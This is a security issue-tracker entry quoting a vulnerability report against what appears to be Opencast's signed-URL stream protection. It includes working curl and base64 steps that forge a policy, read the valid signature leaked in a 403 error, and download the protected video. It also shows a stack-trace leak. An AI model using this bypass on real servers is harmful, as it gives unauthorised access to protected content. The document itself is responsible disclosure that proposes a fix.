Stream Security Leaks Secrets

Steps to reproduce

Per Matthias Neugebauer on security@:

Hi,

I think I found a way to circumvent the stream security protection with the help of the current error messages. Let me demonstrate:

Assumptions:

The attacker has access to the following peaces of information:
The unsigned URL (e.g. `https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4`)
The key ID that is used for this URL pattern (e.g. `ele-opencast-presentation`)
These two data points can be extracted from [old / no longer valid] published signed URLs (e.g. a User posts them somewhere).

Steps:

1. Construct own policy string with custom date and own IP address:
```json
{"Statement":{"Condition":{"DateLessThan":9999999999999,"IpAddress":"1.2.3.4"},"Resource":"https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4"}}
```

2. Encode policy string as Base64:
```sh
$ echo '{"Statement":{"Condition":{"DateLessThan":9999999999999,"IpAddress":"1.2.3.4"},"Resource":"https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4"}}' \

base64 -e \

tr -d "\\r
n“
eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K
```

3. Open the URL and pass in the encoded policy, the keyId, and a random signature:
```sh
$ curl 'https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4?policy=eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K&keyId=ele-opencast-presentation&signature=1234'
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Error 403 Forbidden because policy and signature do not match. Policy: &apos;{&quot;Statement&quot;:{&quot;Condition&quot;:{&quot;DateLessThan&quot;:9999999999999,&quot;IpAddress&quot;:&quot;1.2.3.4&quot;},&quot;Resource&quot;:&quot;https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4&quot;}}&apos; created Signature from this policy &apos;a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&apos; and query string Signature: &apos;1234&apos;.</title>
</head>
<body><h2>HTTP ERROR 403</h2>
<p>Problem accessing /static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4. Reason:
<pre> Forbidden because policy and signature do not match. Policy: &apos;{&quot;Statement&quot;:{&quot;Condition&quot;:{&quot;DateLessThan&quot;:9999999999999,&quot;IpAddress&quot;:&quot;1.2.3.4&quot;},&quot;Resource&quot;:&quot;https:\/\/electures-staging.uni-muenster.de\/static\/mh_default_org\/engage-player\/37b7e3a4-8a1b-4844-be2c-ae7e5d631356\/9406470a-2bc0-4a8e-b99d-ea13fd3fd006\/bunny.mp4&quot;}}&apos; created Signature from this policy &apos;a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100&apos; and query string Signature: &apos;1234&apos;.</pre></p><hr><i><small>Powered by Jetty://</small></i><hr/>

</body>
</html>
```

4. We get an error that the passed signature is invalid and does not match the passed policy, but gladly we are presented with the valid signature (`a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100`) and can use it instead:
```sh
$ curl -o bunny.mp4 'https://electures-staging.uni-muenster.de/static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4?policy=eyJTdGF0ZW1lbnQiOnsiQ29uZGl0aW9uIjp7IkRhdGVMZXNzVGhhbiI6OTk5OTk5OTk5OTk5OSwiSXBBZGRyZXNzIjoiMS4yLjMuNCJ9LCJSZXNvdXJjZSI6Imh0dHBzOlwvXC9lbGVjdHVyZXMtc3RhZ2luZy51bmktbXVlbnN0ZXIuZGVcL3N0YXRpY1wvbWhfZGVmYXVsdF9vcmdcL2VuZ2FnZS1wbGF5ZXJcLzM3YjdlM2E0LThhMWItNDg0NC1iZTJjLWFlN2U1ZDYzMTM1NlwvOTQwNjQ3MGEtMmJjMC00YThlLWI5OWQtZWExM2ZkM2ZkMDA2XC9idW5ueS5tcDQifX0K&keyId=ele-opencast-presentation&signature=a8b129edd0ba95653b1ecf4b28ce167d0a1ba4fac06fe2841e7aaba5187a1100'
```

The atacker thus gets access to the protected file.

Solution:

Simple, do not leak information in case of an error. A possible patch is attached to this mail.

By the way, during my tests I noticed that an error in the policy string results in a 500 response that includes the stack trace (see below). In my opinion this should be a 4xx and no stack trace should be returned. I have not further looked into it and I also did not yet create an issue for this.

```
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<title>Error 500 Server Error</title>
</head>
<body><h2>HTTP ERROR 500</h2>
<p>Problem accessing /static/mh_default_org/engage-player/37b7e3a4-8a1b-4844-be2c-ae7e5d631356/9406470a-2bc0-4a8e-b99d-ea13fd3fd006/bunny.mp4. Reason:
<pre> Server Error</pre></p><h3>Caused by:</h3><pre>java.lang.NullPointerException
at org.opencastproject.urlsigning.utils.PolicyUtils.fromJson(PolicyUtils.java:105)
at org.opencastproject.urlsigning.utils.PolicyUtils.fromBase64EncodedPolicy(PolicyUtils.java:164)
at org.opencastproject.urlsigning.utils.ResourceRequestUtil.resourceRequestFromQueryString(ResourceRequestUtil.java:244)
at org.opencastproject.security.urlsigning.verifier.impl.UrlSigningVerifierImpl.verify(UrlSigningVerifierImpl.java:54)
at org.opencastproject.security.urlsigning.filter.UrlSigningFilter.doFilter(UrlSigningFilter.java:123)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.opencastproject.kernel.filter.proxy.TransparentProxyFilter.doFilter(TransparentProxyFilter.java:63)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.opencastproject.kernel.security.RemoteUserAndOrganizationFilter.doFilter(RemoteUserAndOrganizationFilter.java:247)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.opencastproject.kernel.rest.CurrentJobFilter.doFilter(CurrentJobFilter.java:87)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:330)
at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:118)
at org.springframework.security.web.access.intercept.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:84)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.opencastproject.kernel.security.AsyncTimeoutRedirectFilter.doFilter(AsyncTimeoutRedirectFilter.java:60)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.access.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:113)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.session.SessionManagementFilter.doFilter(SessionManagementFilter.java:103)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.authentication.AnonymousAuthenticationFilter.doFilter(AnonymousAuthenticationFilter.java:113)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.authentication.rememberme.RememberMeAuthenticationFilter.doFilter(RememberMeAuthenticationFilter.java:139)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.servletapi.SecurityContextHolderAwareRequestFilter.doFilter(SecurityContextHolderAwareRequestFilter.java:54)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.savedrequest.RequestCacheAwareFilter.doFilter(RequestCacheAwareFilter.java:45)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:98)
at org.springframework.security.oauth.provider.OAuthProviderProcessingFilter.doFilter(OAuthProviderProcessingFilter.java:173)
at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:102)
at org.springframework.security.web.authentication.www.DigestAuthenticationFilter.doFilter(DigestAuthenticationFilter.java:115)
at org.springframework.web.filter.CompositeFilter$VirtualFilterChain.doFilter(CompositeFilter.java:102)
at org.springframework.web.filter.CompositeFilter.doFilter(CompositeFilter.java:82)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.authentication.ui.DefaultLoginPageGeneratingFilter.doFilter(DefaultLoginPageGeneratingFilter.java:91)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.authentication.AbstractAuthenticationProcessingFilter.doFilter(AbstractAuthenticationProcessingFilter.java:183)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.authentication.logout.LogoutFilter.doFilter(LogoutFilter.java:105)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.context.SecurityContextPersistenceFilter.doFilter(SecurityContextPersistenceFilter.java:87)
at org.springframework.security.web.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:342)
at org.springframework.security.web.FilterChainProxy.doFilterInternal(FilterChainProxy.java:192)
at org.springframework.security.web.FilterChainProxy.doFilter(FilterChainProxy.java:160)
at org.opencastproject.kernel.security.SecurityFilter.doFilter(SecurityFilter.java:124)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.opencastproject.kernel.security.OrganizationFilter.doFilter(OrganizationFilter.java:135)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.opencastproject.kernel.filter.https.HttpsFilter.doFilter(HttpsFilter.java:64)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.opencastproject.kernel.rest.CleanSessionsFilter.doFilter(CleanSessionsFilter.java:89)
at org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1652)
at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:585)
at org.ops4j.pax.web.service.jetty.internal.HttpServiceServletHandler.doHandle(HttpServiceServletHandler.java:71)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:577)
at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:223)
at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1127)
at org.ops4j.pax.web.service.jetty.internal.HttpServiceContext.doHandle(HttpServiceContext.java:287)
at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:515)
at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1061)
at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at org.ops4j.pax.web.service.jetty.internal.JettyServerHandlerCollection.handle(JettyServerHandlerCollection.java:80)
at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:97)
at org.eclipse.jetty.server.Server.handle(Server.java:499)
at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:311)
at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:257)
at org.eclipse.jetty.io.AbstractConnection$2.run(AbstractConnection.java:544)
at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:635)
at org.eclipse.jetty.util.thread.QueuedThreadPool$3.run(QueuedThreadPool.java:555)
at java.lang.Thread.run(Thread.java:745)
</pre>
<hr><i><small>Powered by Jetty://</small></i><hr/>

</body>
</html>
```

Affected Versions:

As far as I can tell all with stream security support, i.e. from 2.2.0 to develop.

Best regards,
Matthias Neugebauer

Status

Assignee

Greg Logan

Reporter

Greg Logan

Severity

Security

Tags (folksonomy)

None

Components

Fix versions

Affects versions

Priority

Blocker
Configure